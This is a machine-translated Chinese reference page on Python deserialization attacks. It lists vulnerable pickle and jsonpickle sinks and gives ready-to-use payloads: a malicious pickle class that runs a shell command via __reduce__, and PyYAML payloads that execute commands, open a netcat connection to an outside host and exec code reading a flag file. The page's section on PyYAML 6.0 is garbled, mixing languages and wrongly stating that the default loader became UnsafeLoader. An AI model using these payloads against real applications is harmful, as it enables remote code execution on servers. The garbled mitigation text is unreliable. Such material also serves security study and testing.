Python反序列化


文档摘要

Python 反序列化 Python 反序列化是指从序列化数据中重建 Python 对象的过程,通常使用 JSON、pickle 或 YAML 等格式来实现。在 Python 中,pickle 模块是常用的工具,因为它可以对包括自定义类在内的复杂 Python 对象进行序列化和反序列化。 概要 工具 方法论 Pickle PyYAML 参考文献 工具 j0lt-github/python-deserialization-attack-payload-generator - 用于针对基于 Python 的应用程序的反序列化 RCE 攻击的序列化有效载荷,这些应用程序使用 pickle、PyYAML、ruamel.yaml 或 jsonpickle 模块来反序列化序列化数据。

Python 反序列化

Python 反序列化是指从序列化数据中重建 Python 对象的过程,通常使用 JSON、pickle 或 YAML 等格式来实现。在 Python 中,pickle 模块是常用的工具,因为它可以对包括自定义类在内的复杂 Python 对象进行序列化和反序列化。

概要

工具

方法论

在 Python 源代码中,查找以下“接收点”:

  • cPickle.loads
  • pickle.loads
  • _pickle.loads
  • jsonpickle.decode

Pickle

以下代码是一个简单的示例,展示了如何使用 cPickle 来生成一个 auth_token,该 token 是一个序列化的 User 对象。
⚠️ import cPickle 仅适用于 Python 2

import cPickle from base64 import b64encode, b64decode class User: def __init__(self): self.username = "anonymous" self.password = "anonymous" self.rank = "guest" h = User() auth_token = b64encode(cPickle.dumps(h)) print("Your Auth Token : {}").format(auth_token)

当从用户输入加载 token 时,就会引入漏洞。

new_token = raw_input("New Auth Token : ") token = cPickle.loads(b64decode(new_token)) print "Welcome {}".format(token.username)

Python 2.7 文档明确指出,pickle 绝不能与不可信来源一起使用。让我们创建一段恶意数据,它将在服务器上执行任意代码。

pickle 模块无法防范错误或恶意构造的数据。绝不要反序列化来自不可信或未经身份验证的来源的数据。

import cPickle, os from base64 import b64encode, b64decode class Evil(object): def __reduce__(self): return (os.system,("whoami",)) e = Evil() evil_token = b64encode(cPickle.dumps(e)) print("Your Evil Token : {}").format(evil_token)

PyYAML

YAML 反序列化是指将 YAML 格式的数据转换回 Python、Ruby 或 Java 等编程语言中的对象的过程。YAML(YAML Ain't Markup Language)因其人类可读性以及对复杂数据结构的支持,而广泛用于配置文件和数据序列化。

!!python/object/apply:time.sleep [10] !!python/object/apply:builtins.range [1, 10, 1] !!python/object/apply:os.system ["nc 10.10.10.10 4242"] !!python/object/apply:os.popen ["nc 10.10.10.10 4242"] !!python/object/new:subprocess [["ls","-ail"]] !!python/object/new:subprocess.check_output [["ls","-ail"]]
!!python/object/apply:subprocess.Popen - ls
!!python/object/new:str state: !!python/tuple - 'print(getattr(open("flag\x2etxt"), "read")())' - !!python/object/new:Warning state: update: !!python/name:exec

自 PyYaml 6.0 版本起,load has been switched to SafeLoader mitigating the risks against Remote Code Execution. PR #420 - Fix

The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader) 的默认加载器已更改为 yaml.UnsafeLoader

with open('exploit_unsafeloader.yml') as file: data = yaml.load(file,Loader=yaml.UnsafeLoader)

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件作为权威依据。对于关键信息,建议采用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U